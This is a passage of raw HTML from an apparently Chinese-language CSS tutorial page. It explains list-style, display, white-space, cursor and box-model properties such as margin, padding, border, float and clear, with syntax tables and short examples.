size="4">{white-space:normal|pre|nowarp}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">3</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/05.htm#list-style-type"><font size="4">符号列表</font></a></td>                    <td><font size="4">{list-style-type:disc|circle|square|decimal|lower-roman|upper-roman|lower-alpha|upper-alpha|none}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">4</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/05.htm#list-style-image"><font size="4">图形列表</font></a></td>                    <td><font size="4">{list-style-image:URL}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">5</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/05.htm#list-style-position"><font size="4">位置列表</font></a></td>                    <td><font size="4">{list-style-position:inside|outside}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">6</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/05.htm#list-style"><font size="4">目录列表</font></a></td>                    <td><font size="4">{list-style:目录样式类型|目录样式位置|url}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">7</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/05.htm#cursor"><font size="4">鼠标形状</font></a></td>                    <td><font size="4">{cursor:hand|crosshair|text|wait|move|help|e-resize|nw-resize|w-resize|s-resize|se-resize|sw-resize}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><br />        <font size="4">列表是HTML里一种很有用的显示方式，可以把相关的并列内容整齐地垂直排列，使网页显得整洁专业，并让浏览者有一目了然的感觉。 <br />        样式表为列表增加了一些功能，控制列表的样式包括列表样式、图形符号、列表位置三个部分。<br />        <br />        </font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="display"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">1. 控制显示：display</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{display:none|block|inline|list-item}<br />        <span class="font_red">作用：</span>改变元素的显示值，可以将元素类型线上，块和清单项目相互变换。<br />        <span class="font_red">说明：</span><br />        &middot;none 不显示元素<br />        &middot;block 块显示，在元素前后设置分行符<br />        &middot;inline 删除元素前后的分行符，使其并入其它元素流中<br />        &middot;list-item 将元素设置为清单中的一行<br />        <span class="font_red">注意：</span>可用 display 属性值生成插入标题和补加清单或让图形变成线上显示。</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="white-space"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">2、控制空白：white-space</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{white-space:normal|pre|nowarp}<br />        <span class="font_red">作用：</span>控制元素內的空白。<br />        <span class="font_red">说明：</span><br />        &middot;normal 不改变，保持缺省值，在浏览器页面长度处换行。<br />        &middot;pre 要求文档显示中采用源代码中的格式。<br />        &middot;nowarp 不让访问者在元素內换行。</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="list-style-type"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">3、符号列表：list-style-type</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{list-style-type:none|disc|circle|square|decimal|lower-roman|upper-roman|lower-alpha|upper-alpha}<br />        <span class="font_red">作用：</span>指定清单所用的强调符或编号类型<br />        <span class="font_red">说明：</span><br />        &middot;none - 无强调符<br />        &middot;disc - 碟形强调符(实心圆)<br />        &middot;circle - 圆形强调符(空心圆)<br />        &middot;square - 方形强调符(实心)<br />        &middot;decimal - 十进制数强调符<br />        &middot;lower-roman - 小写罗馬字强调符<br />        &middot;upper-roman - 大写罗馬字强调符<br />        &middot;lower-alpha - 小写字母强调符<br />        &middot;upper-alpha - 大写字母强调符<br />        <span class="font_red">例子：</span><br />        LI.square { list-style-type: square }<br />        UL.plain { list-style-type: none }<br />        OL { list-style-type: upper-alpha } /* A B C D E etc. */<br />        OL OL { list-style-type: decimal } /* 1 2 3 4 5 etc. */<br />        OL OL OL { list-style-type: lower-roman } /* i ii iii iv v etc. */</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="list-style-image"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">4、图片列表：list-style-image</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><br />        <font size="4"><span class="font_red">语法：</span>{list-style-image:URL}<br />        <span class="font_red">作用：</span>用于将清单中标准强调符换成所选的图形<br />        <span class="font_red">说明：</span><br />        &middot;url - 图形URL地址<br />        </font><font size="4"><span class="font_red">例子：<br />        </span>UL.check { list-style-image: url(/LI-markers/checkmark.gif) }<br />        UL LI.x { list-style-image: url(x.png) }<br />        </font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="list-style-position"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">5. 位置列表：list-style-position</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{list-style-position:inside|outside}<br />        <span class="font_red">作用：</span>用于设置强调符的缩排或伸排，这个属性可以让强调符突出于清单以外或与清单项目对齐。<br />        <span class="font_red">说明：</span><br />        &middot;inside - 缩排，将强调符与清单项目内容左边界对齐<br />        &middot;outside - 伸排，强调符突出到清单项目内容左边界以外</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="list-style"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">6. 目录列表：list-style</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{list-style:目录样式类型|目录样式位置|url}<br />        <span class="font_red">作用：</span>目录样式属性是目录样式类型、目录样式位置，和目录样式图象属性的略写<br />        <span class="font_red">说明：</span><br />        &middot;list-style-type<br />        &middot;list-style-position<br />        &middot;list-style-image<br />        <span class="font_red">注意：</span>这些值的细节见各个属性部分。<br />        <span class="font_red">例子：</span> <br />        LI.square { list-style: square inside }<br />        UL.plain { list-style: none }<br />        UL.check { list-style: url(/LI-markers/checkmark.gif) circle }<br />        OL { list-style: upper-alpha }<br />        OL OL { list-style: lower-roman inside }</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="cursor"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">7．鼠标形状cursor</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{cursor:hand|crosshair|text|wait|move|help|e-resize|nw-resize|w-resize|s-resize|se-resize|sw-resize}<br />        <span class="font_red">作用：</span>CSS提供了多达13种的鼠标形状，供我们选择。 <br />        <span class="font_red">说明：</span><br />        &middot;hand <span>手形</span> <br />        &middot;crosshair <span style="CURSOR: crosshair">十字形</span> <br />        &middot;text <span style="CURSOR: text">文本形</span> <br />        &middot;wait <span style="CURSOR: wait">沙漏形</span> <br />        &middot;move <span style="CURSOR: move">十字箭头形</span> <br />        &middot;help <span style="CURSOR: help">问号形</span> <br />        &middot;e-resize <span style="CURSOR: e-resize">右箭头形</span> <br />        &middot;n-resize <span style="CURSOR: n-resize">上箭头形</span> <br />        &middot;nw-resize <span style="CURSOR: nw-resize">左上箭头形</span> <br />        &middot;w-resize <span style="CURSOR: w-resize">左箭头形</span> <br />        &middot;s-resize <span style="CURSOR: s-resize">下箭头形</span> <br />        &middot;se-resize <span style="CURSOR: se-resize">右下箭头形</span> <br />        &middot;sw-resize <span style="CURSOR: sw-resize">左下箭头形</span> </font></h6>        <h6 align="left"><font size="4"><span class="font_two">六、框架样式</span> </font></h6>        <h6 align="left">        <table style="BORDER-COLLAPSE: collapse" bordercolor="#999999" cellspacing="0" cellpadding="3" width="100%" border="1">            <tbody>                <tr class="table_back1">                    <td width="4%"><font size="4">序号</font></td>                    <td width="9%"><font size="4">中文说明</font></td>                    <td width="83%"><font size="4">标记语法</font></td>                    <td width="4%"><font size="4">备注</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">1</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/06.htm#margin"><font size="4">边界留白</font></a></td>                    <td><font size="4">{margin:margin-top margin-right margin-bottom margin-left}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">2</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/06.htm#padding"><font size="4">补　　白</font></a></td>                    <td><font size="4">{padding:padding-top padding-right padding-bottom padding-left}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">3</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/06.htm#border-width"><font size="4">边框宽度</font></a></td>                    <td><font size="4">{border-width:border-top-width border-right-width border-bottom-width border-left-width}　　<br />                    宽度值： thin|medium|thick|数值</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">4</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/06.htm#border-color"><font size="4">边框颜色</font></a></td>                    <td><font size="4">{border-color:数值 数值 数值 数值}　　数值：分别代表top、right、bottom、left颜色值</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">5</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/06.htm#border-style"><font size="4">边框风格</font></a></td>                    <td><font size="4">{border-style:none|hidden|inherit|dashed|solid|double|inset|outset|ridge|groove}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">6</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/06.htm#border"><font size="4">边　　框</font></a></td>                    <td><font size="4">{border:border-width border-style color}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">&nbsp;</font></td>                    <td align="center"><font size="4">上 边 框</font></td>                    <td><font size="4">{border-top:border-top-width border-style color}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">&nbsp;</font></td>                    <td align="center"><font size="4">右 边 框</font></td>                    <td><font size="4">{border-right:border-right-width border-style color}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">&nbsp;</font></td>                    <td align="center"><font size="4">下 边 框</font></td>                    <td><font size="4">{border-bottom:border-bottom-width border-style color}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">&nbsp;</font></td>                    <td align="center"><font size="4">左 边 框</font></td>                    <td><font size="4">{border-left:border-left-width border-style color}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">7</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/06.htm#width"><font size="4">宽　　度</font></a></td>                    <td><font size="4">{width:长度|百分比| auto}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">8</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/06.htm#height"><font size="4">高　　度</font></a></td>                    <td><font size="4">{height:数值|auto}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">9</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/06.htm#float"><font size="4">漂　　浮</font></a></td>                    <td><font size="4">{float:left|right|none}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>                <tr onmouseover="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#E4E8EB';                    }                    }" onmouseout="function anonymous()                    {                    function anonymous()                    {                    this.bgColor='#f7f7f7';                    }                    }" bgcolor="#f7f7f7">                    <td align="center"><font size="4">10</font></td>                    <td align="center"><a href="http://www.a100.com.cn/css/06.htm#clear"><font size="4">清　　除</font></a></td>                    <td><font size="4">{clear:none|left|right|both}</font></td>                    <td><font size="4">&nbsp;</font></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4">样式表规定了一个容器BOX，它将要储存一个对象的所有可操作的样式。包括了对象本身、边框空白、对象边框、对象间隙四个方面。 <br />        为了大家更好地理解这些属性的意义，以及互相之间的关系，请看下面这个图示：</font></h6>        <h6 align="left"><font size="4"><img height="258" alt="" src="http://www.a100.com.cn/css/box.gif" width="393" /></font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="margin"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">1．边界留白：margin</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{margin:margin-top margin-right margin-bottom margin-left}<br />        <span class="font_red">说明：</span>如图所示，位于BOX模型的最外层，包括四项属性。 <br />        <span class="font_red">格式：</span><br />        &middot;margin-top：顶部空白距离 <br />        &middot;margin-right：右边空白距离 <br />        &middot;margin-bottom：底部空白距离 <br />        &middot;margin-left：左边空白距离 <br />        </font><font size="4"><span class="font_red">例子：<br />        </span>body { margin: 5em } /* 所有边界设为5em */<br />        p { margin: 2em 4em } /* 上和下边界为2em，左和右边界为4em */<br />        div { margin: 1em 2em 3em 4em } /* 上边界为1em，右边界为2em，下边界为3em，左边界为4em */<br />        body { margin-top: 0 } /*消除文件的上边界*/<br />        P.narrow { margin-right: 50% }<br />        DT { margin-bottom: 3em } <br />        如果边界在垂直方向邻接(重叠)了，会改用其中最大的那个边界值。而水平方向则不会。<br />        <span class="font_red">注意：</span>margin的简化方式，可以在其后连续加上四个带长度单位的数字，来分别表示margin-top、margin-right、margin-bottom、margin-left，每个数字中间要用空格分隔。</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="padding"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">2．补　白：padding</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{padding:padding-top padding-right padding-bottom padding-left}<br />        <span class="font_red">作用：</span>是个简写属性，用于设置上、右、下、左方向边框和内容元素的间距<br />        <span class="font_red">说明：</span><br />        &middot;padding-top 顶部补白<br />        &middot;padding-right 右边补白<br />        &middot;padding-bottom 底部补白<br />        &middot;padding-left 左边补白<br />        <span class="font_red">例子：</span> <br />        bc { padding: 1em 2em 3em 4em } /* 上、右、下、左分别为 */<br />        bc { padding: 2em 4em 5em } /* 上补白2，右补白4em，下补白5em，左补白4em */<br />        bc { padding: 2em 4em } /* 上下为2em，左右为4em */<br />        bc { padding: 2em} /* 上、右、下、左均为2em */<br />        <span class="font_red">注意：</span>用 单一值可以让毎边等距填充；如果用两个值，则第一个值用于上下填充，第二个值用于左右填充；如果用三个值，则赋于上边填充，左右填充和下边填充；如果用四 个值，则分别用于上，右，下，左填充。可以混合数值类型。注意：和MARGIN类似，paddingG也可以一次性设置所有的对象间隙，格式也和 margin相似。</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="border-width"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td class="font_three"><font size="4">3. 边框宽度：border-width</font></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{border-width:border-top-width border-right-width border-bottom-width border-left-width}<br />        <span class="font_red">宽值：</span>thin|medium|thick|数值</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="border-color"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td class="font_three"><font size="4">4. 边框颜色：border-color</font></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4">语法：{border-color:数值 数值 数值 数值}　　<br />        说明：数值分别代表top、right、bottom、left颜色值</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="border-style"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">5. 边框风格：border-style</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{border-style:none|hidden|inherit|dashed|solid|double|inset|outset|ridge|groove}<br />        <span class="font_red">说明：</span><br />        &middot;none 无边框<br />        &middot;hidden 隐藏边框<br />        &middot;inherit 继承父边框<br />        &middot;dashed 边框为长短线<br />        &middot;dotted 边框为点线<br />        &middot;solid 边框为实线<br />        &middot;double 边框为双线<br />        &middot;inset 根据color属性显示不同效果的3D边框 <br />        &middot;outset 根据color属性显示不同效果的3D边框<br />        &middot;ridge 根据color属性显示不同效果的3D边框<br />        &middot;groove 根据color属性显示不同效果的3D边框<br />        <span class="font_red">注意：</span>可以作用1至4的值，使用一个值代表四个边框，两个代表上下和左右。</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="border"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">6．边框：border</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{border:border-width border-style color}<br />        <span class="font_red">作用：</span>如图所示，位于边框空白和对象空隙之间，包括了七项属性。 <br />        <span class="font_red">说明：</span> <br />        &middot;border-top 上边框宽度|边框式样|color<br />        &middot;border-right 右边框宽度|边框式样|color<br />        &middot;border-bottom 下边框宽度|边框式样|color<br />        &middot;border-left 左边框宽度|边框式样|color<br />        &middot;border-width 所有边框宽度<br />        thin细线| medium 中等线|thick 粗线</font></h6>        <h6 align="left"><font size="4">&middot;border-color：边框颜色 <br />        &middot;border-style：边框样式参数<br />        <span class="font_red">注意：</span>其中border-width可以设置所有边框宽度，border-color同时设置四面边框的颜色时，可以连续写上四种颜色，并用空格分隔。边框是按border-top、border-right、border-bottom、border-left的顺序设置。 </font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="width"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">7. 宽度：width</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{width:数值|百分比|auto}<br />        <span class="font_red">作用：</span>设置元素宽度，浏览器按照这个宽度调整图形 <br />        <span class="font_red">例子：</span>input.button { width: 10em }</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="height"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">8. 高度：height</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{height:数值|auto}<br />        <span class="font_red">作用：</span>与宽度属性一样，高度可以应用于设定图象的比例<br />        <span class="font_red">例子：</span>IMG.foo { width: 40px; height: 40px }</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="float"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">9. 漂浮：float</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{float:left|right|none}<br />        <span class="font_red">作用：</span>用于在普通元素流布置规则以外放上元素 <br />        </font><font size="4"><span class="font_red">说明：<br />        </span>&middot;none 无改动。<br />        &middot;left 将其它元素内容放到浮动元素右边。<br />        &middot;right 将其它元素内容放到浮动元素左边。</font><span class="font_red"><br />        <font size="4">注意： </font></span><font size="4">漂浮属性允许网页制作者将文本环绕在一个元素的周围. 这同HTML 3.2中IMG元素的ALIGN=left和ALIGN=right一样，但CSS1允许所有对象&ldquo;漂浮&rdquo;，而不像HTML 3.2那样仅仅允许图象和表格。</font></h6>        <a style="BACKGROUND-IMAGE: url(/CuteSoft_Client/CuteEditor/Load.ashx?type=image&amp;file=anchor.gif); WIDTH: 20px; TEXT-INDENT: 20px; BACKGROUND-REPEAT: no-repeat; HEIGHT: 20px" name="clear"></a>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">10. 清除：clear</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4"><span class="font_red">语法：</span>{clear:none|left|right|both}<br />        <span class="font_red">作用：</span>用于允许或禁止指定元素旁边放置其它元素(通常是线上图形)<br />        <span class="font_red">说明：</span><br />        &middot;left 将元素放在左边浮动元素下面<br />        &middot;right 将元素放在右边浮动元素下面<br />        &middot;both 元素两边都不允许放置浮动元素 <br />        <span class="font_red">注意：</span>清 除属性指定一个元素是否允许有元素漂浮在它的旁边。值left移动元素到在其左边的漂浮的元素的下面；同样的值right移动到其右边的漂浮的元素下面。 其他的还有缺省的none值，和移动元素到其两边的漂浮的元素的下面的none值。这个属性类似于HTML 3.2的函数<br />        ，但它能应用于所有元素。</font></h6>        <h6 class="font_two" align="left"><font size="4">附：CSS单位</font></h6>        <h6 align="left">        <table cellspacing="0" cellpadding="6" width="100%" border="0" class="table_1">            <tbody>                <tr>                    <td><span class="font_three"><font size="4">1. 长度单位</font></span></td>                </tr>            </tbody>        </table>        </h6>        <h6 align="left"><font size="4">一 个长度的值由可选的正号&quot; + &quot;或负号&quot; - &quot;、接着的一个数字、还有标明单位的两个字母组成。在一个长度的值之中是没有空格的，例如，1.3 em就不是一个有效的长度的值，但1.3em就是有效的。一个为零的长度不需要两个字母的单位声明。无论是相对值还是绝对值长度，CSS1都支持。相对值 单位确定一个相对于另一长度属性的长度，因为它能更好地适应不同的媒体，所以是首选的。以下是有效的相对单位: </font></h6>        <h6 align="left"><font size="4">em (em，元素的字体的高度) <br />        ex (x-height，字母 &quot;x&quot; 的高度) <br />        px (像素，相对于屏幕的分辨率) <br />        <br />        绝对长度单位视输出介质而定，所以逊色于相对单位。以下是有效的绝对单位: </font></h6>        <h6 align="left"><font size="4">in (英寸，1英寸=2.54厘米) <br />        cm 